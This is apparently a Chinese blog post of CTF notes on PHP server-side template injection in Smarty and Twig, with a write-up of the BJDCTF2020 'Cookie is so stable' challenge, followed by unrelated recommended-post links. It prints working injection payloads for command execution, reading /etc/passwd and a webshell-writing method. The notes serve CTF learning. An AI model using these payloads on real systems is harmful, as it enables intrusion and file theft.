PHP的模板注入

如果是在cookie处执行,最好抓包打payload,可能有url编码的问题

smarty模板注入

控制XFF进行命令执行(这是要在前端有IP相关回显的情况)

payload:

X-Forwarded-For: {{system("ls")}}

利用

{$smarty.version}            //smarty的版本号

标签

{php}

可以使用{php}{/php}标签来执行被包裹其中的php指令

{php}phpinfo();{/php}

Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

{literal} 标签

{literal}可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

{if}标签

{if phpinfo()}{/if}

静态方法利用

通过self获取Smarty类再调用其静态方法实现文件读写

Smarty类有getStreamVariable方法可以读取一个文件并返回其内容

{self::getStreamVariable(“file:///etc/passwd”)}

利用 Smarty_Internal_Write_File 类的writeFile方法来写shell

ps.都是旧版本方法了

Twig引擎

利用payload为: msf反弹shell

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}           //id是执行linux命令的地方,这个payload好像只能回显最前面的一个

补充:TWIG 全版本通用 SSTI payloads

wp

1.[BJDCTF2020]Cookie is so stable

hint处提示cookie,{{7*8}}发现有ssti,进一步测试发现是twig

开始的时候不管怎么注入都会过滤:What do you want to do?!(之后知道是%被过滤),抓包仔细看,其实flag.php页面提交id,其实是先post username,然后将username url编码存到cookie处,最后重定向一次才有hello xx的回显

所以抓包改第二次的cookie

payload(只能猜flag位置喽):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

这里因为只能回显一部分(ls / →只有 var),我本来想重定向,但可能权限不够

尝试了twig的别的利用,可能是 | [] % 都被过滤了所以不行

[ctf web]SSTI PHP的模板注入SSTI (smarty+Twig) 以及[BJDCTF2020]Cookie is so stable相关推荐

  1. python模板注入_Python模板注入(SSTI)深入学习

    前言 一直对模板注入似懂非懂的,打算在这篇文章中深入的研究一下模板注入以及在ctf中bypass的办法. Learning 什么是模板&模板注入 小学的时候拿别人的好词好句,套在我们自己的作文 ...

  2. 模板注入SSTi笔记

    模板注入SSTi jinja2 Smarty模板 tornado模板 jinja2 命令执行 {% for c in [].__class__.__base__.__subclasses__() %} ...

  3. PHP的模板注入(Smarty模板)

    Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能.对于该框架的SSTI漏洞很多文章往往只是一笔带过,讲解的重心往往在flask等框架上.本篇文章结合一道C ...

  4. [ctf web]基于多线程的sql注入的fuzz测试过滤参数模板

    import requests import threading import math def burp(threads,url): #把测试sql关键字传入text列表with open(r&qu ...

  5. WEB 渗透之SSTI 模板注入

    SSTI 模板注入 文章目录 SSTI 模板注入 前言 一.注入 二.什么是 SSTI 模板注入 三.产生原因 四.常见的模板引擎 五.相关属性 六.检测方法 七.攻击思路 1. 攻击方向 2. 漏洞 ...

  6. CTF笔记 SSTI模板注入

    文章目录 前言 一.判断模板类型 二.上例题 1.[BJDCTF2020]Cookie is so stable 2.[BJDCTF2020]The mystery of ip 总结 前言 之前做ss ...

  7. Flask(Jinja2)服务端模板注入漏洞——vulhub/flack/ssti

    一.服务端模板注入漏洞 简述: 服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 ...

  8. SSTI模板注入总结

    文章目录 一.初识SSTI 二.判断SSTI类型 三.常用类 1.__class__ 2.__bases__ 3.__subclasses__() 4.类的知识总结(转载) 5.常见过滤器(转载) 四 ...

  9. 常见的web攻击方式之服务器端模板注入

    服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构.下面 ...

最新文章

  1. module r8169
  2. 实例理解q—learning-Python强化学习
  3. webBrowser自动填充、抓取网页数据
  4. Oracle之SQL分析函数
  5. C# 快速高效率复制对象另一种方式 表达式树
  6. 前端学习(2125):watch实现
  7. python科学计算三剑客_1-python数据分析-数据分析介绍、数据分析三剑客之NumPy
  8. 【总结】字符串匹配: KMP 和 拓展KMP
  9. 大一计算机在线考试,大一计算机考试题(含答案).pdf
  10. pyCharm最新2017激活
  11. u-boot移植随笔:System.map文件格式
  12. python的ubuntu环境怎么配置_python中在ubuntu中安装虚拟环境及环境配置
  13. 路由 RIP 协议 和 滞空路由
  14. 使用nvDXT.exe把图片转换成dds图片【转】
  15. Windows PowerShell初体验——.NET对象支持
  16. bzoj 3451 Normal
  17. 图:婚庆现场管理系统-双屏版V3软件完美收工!!!
  18. 移动应用图标生成工具,一键生成所有尺寸的应用图标
  19. unpivot行转列 oracle,oracle-行转列点评oracle11g sql新功能pivot/unpivot
  20. 手机内存卡大小的计算

热门文章

  1. 【Win键组合键在vista中用法】
  2. 2020-06-06
  3. vue3+acro.design 遇到的问题点
  4. uniapp app端导出excel的探索和实现(二)
  5. 范冰冰李晨分手让微博一度宕机的原因分析
  6. rp魔兽那个服务器人最多,魔兽世界RP服务器是什么?怀旧服RP服务器有什么不同...
  7. scanf输入%s,%c遇到空白字符的一些思考
  8. ORA-00918: column ambiguously defined 未明确定义列
  9. 这个Excel技巧,你一定要知道!旋风图该如何制作?
  10. 魔兽世界服务器状态 排队人数,魔兽世界怀旧服开服 服务器拥挤 排队人数上万...